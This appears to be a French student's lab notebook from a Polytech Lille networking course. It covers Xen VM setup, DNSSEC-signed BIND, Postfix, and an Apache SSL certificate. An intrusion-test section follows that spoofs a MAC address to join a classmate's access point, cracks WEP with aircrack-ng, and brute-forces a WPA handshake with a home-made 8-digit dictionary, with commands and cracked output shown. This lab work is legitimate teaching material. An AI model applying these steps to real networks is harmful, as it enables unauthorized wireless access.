// Conexion au serveur ssh root@cordouan.insecserv.deule.net // Création de la Machine virtuel ( nom : chien) xen-create-image --hostname chien --ip 193.48.57.181 --dir /usr/local/xen // On observe la virtualisation tail -f /var/log/xen-tools/chien.log root@cordouan:~# cd /etc/xen/ root@cordouan:/etc/xen# vim chien.cfg // on met plus de memoire => 1024 // conexion en mode bridge=IMA2a root@cordouan:/etc/xen# xl list root@cordouan:/etc/xen# xl create chien.cfg
connexion à notre MV:
ssh root@cordouan.insecserv.deule.net root@cordouan:/etc/xen# xl console chien
Configuration de Xen: - On autorise les connexion ssh en root - On retire Network Manger pour configurer la connexion au réseau manuellement
# /etc/ssh/sshd_config # PermitRootLogin yes # if down eth0 # ifup etho # apt-get purge network-manage systemd # inittable // fin ligne tty0 ==> hvc0
// Configuration de eth0 # The primary network interface auto eth0 iface eth0 inet static address 193.48.57.181 netmask 255.255.255.240 gatway 193.48.57.190 root@chien:~# ifdown eth0 root@chien:~# ifup eth0 root@chien:~# apt-get install vim strace tcpdump root@chien:~# apt-get install host
Services Internet
Serveur DNS
modification du fichier /var/cache/bind option
cat /etc/bind/named.conf.options **** afficher le fichier **** host -t ni love-in-the-world.space host -t any love-in-the-world.space cat db.love-in-the-world **** afficher le fichier **** cat /var/log/daemon.log **** afficher le fichier **** # service bind9 stop # service bind9 start
Géneration d'une clés assymetrique:
# dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE love-in-the-world.space Generating key pair...........+++ ....................+++ Klove-in-the-world.space.+005+14281 # mv Klove-in-the-world.space.+005+14281.key love-in-the-world-ksk.key # mv Klove-in-the-world.space.+005+14281.private love-in-the-world-ksk.private # dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE love-in-the-world.space Generating key pair........++++++ .....................++++++ Klove-in-the-world.space.+005+37866 # mv Klove-in-the-world.space.+005+37866.key love-in-the-world-zsk.key # mv Klove-in-the-world.space.+005+37866.private love-in-the-world-zsk.private # dnssec-signzone -o love-in-the-world.space -k love-in-the-world-ksk ../db.love-in-the-world love-in-the-world-zsk Verifying the zone using the following algorithms: RSASHA1. Zone fully signed: Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked ZSKs: 1 active, 0 stand-by, 0 revoked ../db.love-in-the-world.signed root@chien:/etc/bind/love-in-the-world# :/etc/bind# nano named.conf.local zone "love-in-the-world.space"{ type master; file "/etc/bind/db.love-in-the-world.signed"; };
ensuite on copie le contenu du fichier:
dans gandi.net
on peut verifier que notre dns est secure a l'adresse suivante:
http://dnsviz.net/d/love-in-the-world.space/dnssec/
Recuperation du certificat SSL
Cette étape consiste a récupérer le certificat SSL en vu authentifier et de sécuriser la connexion a notre serveur
Instalation et Configuration de la boite Mail
# apt-get install postfix bsd-mailx
configuration de la boite mail
# nano /etc/aliases postmaster: root admin: root # newaliases # mailx
Je m'envoi un mail pour verifier le bon fonctionement de la boite mail E-mail: admin@love-in-the-world.space
Verfification:
# mailx From Maxime.Strunc@polytech-lille.net Fri Nov 20 13:22:24 2015 Return-Path: <Maxime.Strunc@polytech-lille.net> X-Original-To: admin@love-in-the-world.space Delivered-To: admin@love-in-the-world.space Received: from peronne.escaut.net (peronne.escaut.net [193.48.57.26]) by chien (Postfix) with ESMTP id E7DA93421F for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 13:22:24 +0100 (CET) X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr Received: from webmailportal.polytech-lille.fr (hirson.escaut.net [193.48.57.37]) (Authenticated sender: mstrunc) by peronne.escaut.net (Postfix) with ESMTPA id 305081C38 for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 11:33:52 +0100 (CET) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Date: Fri, 20 Nov 2015 11:33:52 +0100 From: Maxime Strunc <Maxime.Strunc@polytech-lille.net> To: <admin@love-in-the-world.space> Subject: Hello Message-ID: <478f6b7d2da9875c32551984f2b92f9f@polytech-lille.net> X-Sender: Maxime.Strunc@polytech-lille.net User-Agent: Roundcube Webmail/0.7.2 Status: RO Hey it's working
- Recupération du Certificat: Je vais sur Gandi.net
génération de la CSR
# openssl req -nodes -newkey rsa:2048 -sha256 -keyout chien.key -out chien.csr // Il ya plusieurs informations à rentrer, il y en a une très important : c'et le mail : admin@love-in-the-world.space
apres avoir renseigner tout les champs, j'obtient la CSR:
-----BEGIN CERTIFICATE REQUEST----- ... texte crypter... -----END CERTIFICATE REQUEST-----
Je la copie dans l'emplacement voulue sur gandi.net
Gandi m'envoi un mail a l'adresse informée "admin@love-in-the-world.space" Il faut donc clique sur un lien de confimation et entrer la cles fournit dans le mail. Une fois le certificat reçut, Je le copie et le colle dans le chien.crt et gandi.crt
#nano 000-domain.tld-ssl.conf <VirtualHost 193.48.57.181:443> ServerName www.love-in-the-world.space ServerAlias love-in-the-world.space DocumentRoot /var/www/html/ CustomLog /var/log/apache2/secure_access.log combined SSLEngine on SSLCertificateFile /root/chien.crt SSLCertificateKeyFile /root/chien.key SSLCertificateChainFile /root/gandi.crt SSLVerifyClient None </VirtualHost> #a2enmod ssl #service apache2 reload
Test d'intrusion
Intrusion par changement d'adresse MAC
En remplacant l'adresse mac de mon eeepc par une adresses MAC que le point d’accès T1 autorise je pourrais me connecter sur celui-ci.
Changement d'adresse MAC:
- ifconfig wlan0 down - ifconfig wlan0 hw ether 00:15:AF:E6:ED:B1 //adresse mac de Gauthier - ifconfig wlan0 up
On change la cles par: 0000000000 et le SSID : T1
# cat /etc/network/interfaces # source /etc/network/interfaces.d/* # The loopback network interface # auto lo # iface lo inet loopback Ethernet interface auto eth0 iface eth0 inet static address 172.26.79.241 netmask 255.255.240.0 gateway 172.26.79.254 auto wlan0 iface wlan0 inet static wireless-mode managed wireless-essid T1 wireless-key 0000000000 address 172.26.79.61 netmask 255.255.240.0 gateway 172.26.79.254
Apres cette modification J'arrive a me connecter sur le point d’accès de Marouane(T1).
Préparation aux cassage de clés
- Instalation aircrack-ng
# apt-get install aircrack-ng firmware ralink
- Instalation du port usb-Wifi
apt-get install firmware ralink airmon-ng start wlan1
Cassage d'une cles WEP
Je scan le reseaux Wifi:
airodump-ng mon0 --channel 5
J’identifie le ssid de cracotte06 et je met les donnée dans un fichier nommé fcracotte06
root@Discus:/home/pifou# airodump-ng mon0 --channel 5 --bssid 04:DA:D2:9C:50:55 -w fcracotte06 CH 5 ][ Elapsed: 0 s ][ 2015-11-20 09:05 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 04:DA:D2:9C:50:55 -55 28 29 420 116 5 54e. WEP WEP cracotte06 BSSID STATION PWR Rate Lost Frames Probe 04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -48 36e-54e 80 456
La capture a donc commencé
Dans un autre terminal: Je vais analyser mon fichier de capture pour casser la cles.
# ls # aircrack-ng fcracotte06-01.cap
apres quelque minutes on obtient la cles
[00:06:58] Tested 965565 keys (got 60459 IVs) KB depth byte(vote) 0 0/ 1 AA(85504) EA(73728) 60(70144) 0C(69120) 33(68608) 1 0/ 1 AA(77824) 25(74496) BC(70400) 6C(70144) 3B(69632) 2 0/ 1 AA(79872) 3E(70912) 76(70400) 5C(70144) 01(68864) 3 4/ 5 AA(71680) FA(68608) 41(68352) 38(68096) 49(68096) 4 0/ 1 AA(86016) A1(70912) 80(69632) 2A(68352) 65(68352) 5 0/ 1 AA(85760) AF(73216) C6(71424) 5A(71168) 25(70400) 6 0/ 1 AA(75520) 26(70400) CB(70400) 46(69888) 1C(69632) 7 0/ 1 AA(83968) 18(71680) 4C(71424) 74(70144) 1E(69632) 8 0/ 1 AA(82176) 6F(70912) F7(70144) FB(69632) 17(68864) 9 0/ 3 D7(73216) 97(71168) A4(70400) BA(70144) FE(69632) 10 0/ 1 5F(78336) D6(72960) 46(71424) CB(68608) 8D(68352) 11 13/ 1 48(67072) 60(67072) F6(66816) AC(66560) 2B(66048) 12 0/ 1 BB(79580) A7(71096) 8B(69960) 13(69196) 68(68424) KEY FOUND! [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:BB:BB:BB ] Decrypted correctly: 100%
Cassage d'une cles WPA
Cette partie consiste a casser une clés WPA par force brute. Je m'interesse plus particulierement a caracotte06 comme précédament.
Je vais dans une premier temps ecouter ce qui a sur ce réseau on suppose que quelle qu'un se connecte dessus régulièrement, le but étant de récupérer le handshake.
Recuperation du Handshake:
airodump-ng --encrypt wpa mon0 # airodump-ng --encrypt wpa mon0 -c 7 --bssid 04:DA:D2:9C:50:55 -w wpacracotte06 CH 7 ][ Elapsed: 26 mins ][ 2015-11-20 10:40 ][ WPA handshake: 04:DA:D2:9C:50:55 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 04:DA:D2:9C:50:55 -70 22 9735 1905 18 7 54e. WPA2 CCMP PSK cracotte06 BSSID STATION PWR Rate Lost Frames Probe 04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -70 54e- 1e 904 1249
creation d'un dictionaire :
Je Créer un dictionaire pour comparer le handshake que j'ai recuperer avec des cles possible.
la cles etant comprise entre 00000000 et 99999999 je réalise un petit programme qui affiche toutes ces valeurs:
#include <stdio.h> int main () { int val=0; for(val=0;val<99999999 ;val++) {printf("%08d\n",val); } return 0; }
Compilation : </pre>
- gcc -Wall Dictionnaire.c -o Dictionnaire
</pre>
Création : On exécute le programme Dictionnaire et on renvoi les résultats dans le fichier Dico
# ./Dictionnaire > Dico
Cassage de la cles: après avoir récuperer le Handshake du Wifi carotte06 Je vais casser la clés en utilisant mon dictionnaire "Dico" le fichier "wpacracotte06-02.cap"
aircrack-ng -w Dico wpacracotte06-02.cap
après quelle que heures j'obtiens la clès:
Aircrack-ng 1.2 beta3 [02:00:57] 12399908 keys tested (1782.72 k/s) KEY FOUND! [ 12399906 ] Master Key : 4B 0E E0 87 93 06 14 C0 E2 64 55 76 95 9A 30 6B 75 7C 8F CC B4 F8 2B 0D 78 3A 57 04 79 C2 F9 72 Transient Key : 63 0F 9B D4 8B 09 C9 2C D5 E2 56 3D C7 21 AC 9E 94 5C E6 F7 19 FB EA 52 3F 02 C4 10 72 4F B8 7E F1 92 CC 2C 02 E1 F7 47 C1 1D F2 FD CE EF F5 5E 22 24 87 42 46 4F D6 38 DF D4 CC 6D 61 4E 1D 7E EAPOL HMAC : A3 D3 FD F5 09 AC B9 96 F5 0E 93 0A 3C 63 36 CD
mettre serveur messagerie
demander certificat
securisation wifi WPA-EAP